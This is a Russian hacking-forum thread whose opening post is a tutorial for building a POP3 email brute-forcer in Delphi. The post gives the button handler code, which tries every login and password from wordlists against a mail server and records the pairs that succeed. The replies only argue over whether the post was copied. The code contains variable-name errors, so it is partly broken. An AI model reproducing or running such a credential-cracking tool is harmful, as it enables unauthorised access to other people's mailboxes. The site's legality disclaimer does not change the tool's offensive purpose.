Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare
Показано с 1 по 8 из 8
  1. #1
    TopicStarter


    Статус
    Offline
    Регистрация
    11.11.2013
    Сообщений
    84
    Репутация
    16 + / -
    Другое

    Пишем брут

    Здравствуйте! В этой статье я приведу вам пример как написать брут на Delphi или по другому брутфорс на delphi 7. Брутить будем почты сервера POP3.
    Запускаем Delphi и создаём пустую форму. После, добавляем компоненты: IdPOP3 -> Indy Clients
    IdAntiFreeze -> Indy Misc
    IdPOP3 - основной компонент для подключения к серверу.
    IdAntiFreeze - чтобы форма не зависала. Лень было делать потоки...
    Дальше, добавляем на форму 3 кнопки TButton. И называем их, так...
    Button1 - 'Начать брут';
    Button2 - 'Список паролей';
    Button3 - 'Список логинов';
    Теперь переходи в исходный код. В Button1onclick пишем:
    var
    Logins, Passwds: TStrings;
    l, p: Integer;
    begin
    Logins:=TStringList.Create;**//Создаём список логинов
    Passwds:=TStringList.Create; //И паролей
    Logins.LoadFromFile(Edit1.Text); //Берём список логинов
    Passwds.LoadFromFile(Edit2.Text); //А тут список паролей
    for l:=0 to Logins.Count-1 do** //|Начинаем перебор
    for p:=0 to Passwds.Count-1 do //</
    begin
    IdPOP31.Username := Logins.Strings[l]; //Указываем логин
    IdPOP31.Password := Passwds.Strings[p]; //Указываем паролб
    try
    IdPOP31.Connect; //Подключаемся по этим данным
    except
    end;
    if IdPOP31.Connected then //Если подключились
    begin
    Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p])); //Добавляем в Memo что успешно авторизовались!
    IdPOP31.Disconnect; //Отключаемся
    end;
    end;
    Login.Free; //Освобождаем память
    Pass.Free; //...
    Теперь переходим к Button2onclick - "Загружаем список логинов".
    if OpenDialog1.Execute then
    Edit1.Text:=OpenDialog1.FileName;
    И в Button3onclick - "Загружаем список паролей".
    if OpenDialog1.Execute then
    Edit2.Text:=OpenDialog1.FileName;
    Всё! Теперь просто нажимаем на "Начать брут", и проверяем программу.
    Автор стать: INGUSHMEN

  2. #2
    Аватар для XaskiVision

    Статус
    Offline
    Регистрация
    17.12.2013
    Сообщений
    171
    Репутация
    57 + / -
    DDoS / DoS
    deleted.
    Последний раз редактировалось XaskiVision; 25.12.2013 в 19:48.

  3. #3
    Distrust
    Аватар для still-rise

    Статус
    Offline
    Регистрация
    20.12.2013
    Сообщений
    133
    Репутация
    14 + / -
    Другое
    если уж копипиздите,оформляйте хотя бы по нормальному.
    Урожденный быть холопом.
    По вопросам взлома, обращайтесь к Lexx_y !
    Ассанж рекомендует =\

  4. #4
    Lord
    of the two universes
    Аватар для •Lexx•

    Статус
    Offline
    Регистрация
    24.10.2013
    Сообщений
    296
    Репутация
    167 + / -
    Другое
    если уж копипиздите,оформляйте хотя бы по нормальному.
    Линк, с кого он скописпиздел, в студию!
    Мудрый знает не многое, а нужное (с) Эсхил.
    «
    Это планета 13-го типа. Такие уничтожают сами себя, путем внутреннего военного конфликта, экологической катастрофы, но чаще всего — когда их ученые пытаются определить массу бозона Хиггса
    »
    — 790 про Землю.

  5. #5
    Аватар для SyGaK

    Статус
    Offline
    Регистрация
    09.11.2013
    Сообщений
    144
    Репутация
    41 + / -
    Безопасность
    Lexx, он же написал внизу:
    Автор статьи: INGUSHMEN

  6. #6
    Distrust
    Аватар для still-rise

    Статус
    Offline
    Регистрация
    20.12.2013
    Сообщений
    133
    Репутация
    14 + / -
    Другое
    Цитата Сообщение от •Lexx• Посмотреть сообщение
    Линк, с кого он скописпиздел, в студию!
    Автор стать: INGUSHMEN
    [Только зарегистрированные могут видеть это. ]
    Урожденный быть холопом.
    По вопросам взлома, обращайтесь к Lexx_y !
    Ассанж рекомендует =\

  7. #7
    Lord
    of the two universes
    Аватар для •Lexx•

    Статус
    Offline
    Регистрация
    24.10.2013
    Сообщений
    296
    Репутация
    167 + / -
    Другое
    он же написал внизу
    Ах тыж, про_бал =\\\
    still-rise
    А ты борец за оформление копипаста?
    Мудрый знает не многое, а нужное (с) Эсхил.
    «
    Это планета 13-го типа. Такие уничтожают сами себя, путем внутреннего военного конфликта, экологической катастрофы, но чаще всего — когда их ученые пытаются определить массу бозона Хиггса
    »
    — 790 про Землю.

  8. #8
    Distrust
    Аватар для still-rise

    Статус
    Offline
    Регистрация
    20.12.2013
    Сообщений
    133
    Репутация
    14 + / -
    Другое
    Цитата Сообщение от •Lexx• Посмотреть сообщение
    Ах тыж, про_бал =\\\
    still-rise
    А ты борец за оформление копипаста?
    именно так ))
    Урожденный быть холопом.
    По вопросам взлома, обращайтесь к Lexx_y !
    Ассанж рекомендует =\

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.